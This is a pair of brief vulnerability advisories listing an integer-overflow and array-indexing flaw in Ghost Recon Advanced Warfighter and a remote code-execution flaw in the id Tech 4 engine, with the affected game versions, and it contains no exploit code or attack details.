Ghost Recon Advanced Warfighter (GRAW) is prone to an integer-overflow vulnerability and an array-indexing-overflow vulnerability.
Successful exploits may allow attackers to cause denial-of-service conditions. Due to the nature of these issues, code-execution may also be possible, but this has not been confirmed.
GRAW 1.35 and GRAW 2 1.05 are vulnerable; other versions may also be affected.

id Tech 4 Engine is prone to a remote code-execution vulnerability.
An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.
The following applications include the vulnerable engine:
Enemy Territory: Quake Wars 1.5.12642.33243 and prior
Wolfenstein 1.3.344272 and prior
